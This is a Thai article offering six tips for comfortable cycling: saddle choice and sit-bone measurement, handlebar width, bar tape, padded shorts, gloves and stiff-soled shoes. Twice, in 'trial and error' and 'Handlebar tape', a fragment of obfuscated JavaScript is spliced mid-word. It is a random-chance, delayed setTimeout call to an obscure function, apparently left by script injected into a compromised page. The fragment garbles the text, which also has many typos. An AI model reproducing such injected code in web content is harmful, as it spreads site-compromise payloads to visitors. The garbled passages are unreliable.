6 ทริคเล็กๆ ที่ช่วยให้คุณขี่จักรยานได้สบายขึ้น
อาการเมื่อยล้าจากการปั่นจักรยานควรมาจากการฝึกฝนที่เพิ่มความเข้มข้นขึ้นเรื่อยๆ แต่ไม่ควรมาจากตัวจักรยาน
โดยทั่วไปแล้วหลังการซื้อจักรยาน สิ่งที่ควรทำคือ Bike Fitting เพื่อปรับระยะของเบาะ แฮนด์ บันไดและอื่นๆ เพื่อให้เหมาะสมกับสัดส่วนของผู้ปั่น แต่นอกจากการทำ Bike Fitting ก็มีทริคเล็กๆ น้อย ในการเลือกซื้ออุปกรณ์บางอย่างที่จะช่วยให้คุณขับขี่จักรยานได้สบายขึ้น (More comfortable)
1. เบาะนั่ง (Saddle)
การหาเบาะนั่งให้เหมาะ เป็นสิ่งที่ต้องทดลองด้วยตัวเอง เป็นกระบวนการลองผิดลองถูก (trial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error) ถ้าเจอเบาะที่ใช่ มันจะช่วยเปลี่ยนการปั่นของคุณให้ดีขึ้นอย่างไม่น่าเชื่อเลยละครับ หลักการในการเลือกซื้อเบาะง่ายๆ คือ
1. สอบถามช่างประจำร้านจักรยานหรือเพื่อนๆ นักปั่น เพื่อหาข้อมูลของเบาะที่น่าจะเหมาะกับขนาดรูปร่างและสไตล์การปั่นของเรา อาจจะรวมถึงคุณภาพตัวสินค้าที่มีคนเคยลองใช้ สินค้ารุ่นนี้รุ่นนั้นมีคนใช้แล้วดีมั้ย หรือเพื่อนๆ ของเราอาจมีลักษณะรูปร่างและการปั่นที่คล้ายๆ กัน น่าจะใช้เบาะแบบเดียวกันได้มั้
2. เบาะที่ดีอาจไม่ต้องเป็นของราคาแพงเสมอไป ถ้ามีเข้ากับรูปทรง (ก้นของเรา) ของเรา นั่งแล้วปั่นสบายถือว่าจบ เมื่อเราได้เบาะที่หมมายตาไว้ สิ่งที่วรทำต่อมาคือวัดขนาดก้นขอเรา หรือภาษาฝรั่งเรียกว่าการวัด sit bone….สามารถดูได้ที
ลองไปให้ช่างที่ร้านวัดขนาดดูนะครับ จะได้ทำการเลือกสินค้าและทดลองไปในตัวด้วย
3. ถ้าร้านไหนมีสินค้าให้ทดลองก็ควรเลือกใช้ครับ โดยวางเงินมัดจำไว้จำนวนหนึ่ง ถ้าใช้ในเวลาที่กำหนดแล้วไม่ถูกใจก็เปลี่ยนตัวใหม่ได้ ลองจนหาตัวที่ถูกใจสบายก้นเรานะครับ
4. ปัจจัยอื่นๆ ที่ควรคำนึกถึงคือ รูปร่างของเบาะ ที่ออกแบบมาให้เหมาะกับสไตล์การปั่นในแต่ละแบบ ปั่นแบบไต่เขาหรือแบบสปรินซ์ก็จะมีรูปทรงให้เลือก
ต่อมาจะเป็นตัววัสดุของเบาะ (covering) ที่ทำจากหนังแท้ หนังสังเคราะห์ ยางหรือพลาสติก จะให้ความรูสึกผิวสัมผัสเวลานั่งต่างกัน มีผลต่อการเสียดสีไปมาขอผิวหนังด้วย ส่วนรายละเอียดอื่นๆ ควรดูก็จะเป็นรางยึด (rails) และเจลหรือโฟมรองใต้หนังหุ้ม (padding) เป็นต้น
2. ตัวแฮนด์จับหรือ Bar
สิ่งที่ต้องดูคือ ความกว้างพอดีกับไหล่ของเรามั้ย และรูปรางของ Bend หรือตัวส่วนโค้ง (curve) การเลือกเปลียนจะมีผลต่ออาการปวดเมื่อยของไหล่ อาการมือชา การเอื้อมมือเบรคเป็นต้น ส่วนของตัวแฮนด์จะช่วยรองรับส่วนบนของร่างกาย โดยไม่ทำให้คอและไหล่ต้องรับน้ำหนักเกินไป ช่วยให้การควบคุมจักรยานทำได้ง่ายขึ้น
3. เทปพันแฮนด์ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar tape)
ผ้าพันแฮนด์ จะให้ความรู้สึกกระชับมือง่ายต่อการควบคุมรถมากขึ้น ถ้าชอบแบบรองรับแรงกระแทกดีๆ ต้องเลือกเบบที่มีเจลผสมอีกชั้นหนึ่ง แต่แบบหนังหรือพลาสติกจะให้ฟีลลิ่งในการควบคุมที่ดีกว่า แต่จะรับแรงสั่นมากกว่าเช่นกัน
4. กางเกงปั่น
ตัวแผ่นรองก้นหรือที่ฝรั่งเรียกว่า Chamois ช่วยรองรับแรงกระแทกและทำให้เราปั่นได้สบายก้นละไปได้นานขึ้น ส่วนมากที่นิยมในบ้านเราจะเป็นแบบผสมเจล นอกจากแผ่นรองก้นแล้วชุดปั่นจักรยานมีส่วนช่วยเพิ่มความคล่องตัวด้วยนะ โดยเฉพาะชุดเอี๊ยม จะช่วยเพิ่มความกระชับเข้ารูป ช่วยลดการเสียดสีกล้ามเนื้อ หลักในการเลือกซื้อกางเกงหรือเสื้อปั่นจักรยานอื่น เช่น วัสดุที่ทำ ขนาดและความฟิต
5. ถุงมือ (gloves)
การเปลี่ยนถุงมือสามารถลดอาการมือชาได้ เจลในถุงมือช่วยรองรับแรงกระแทกและป้องกันฝ่ามือได้ในกรณีเกิดอุบัติเหตุล้ม
6. รองเท้า (shoes)
พื้นรองเท้าที่แข็งหรือมีค่า Stiff สูงและเข้าฟิตกระชับกับรูปเท้าจะช่วยให้เราส่งแรงปั่นได้มีประสิทธิภาพ ลดการออกแรงของกล้ามเนื้อผ่าเท้าและกล้ามเนื้อขาลง
ครั้งต่อๆ ไปในการซื้ออุปกรณ์เพื่อให้การปั่นของคุณดูคล่องสบายตัวขึ้นลงดูทริค 6 ข้อนี้ก่อนนะครับ
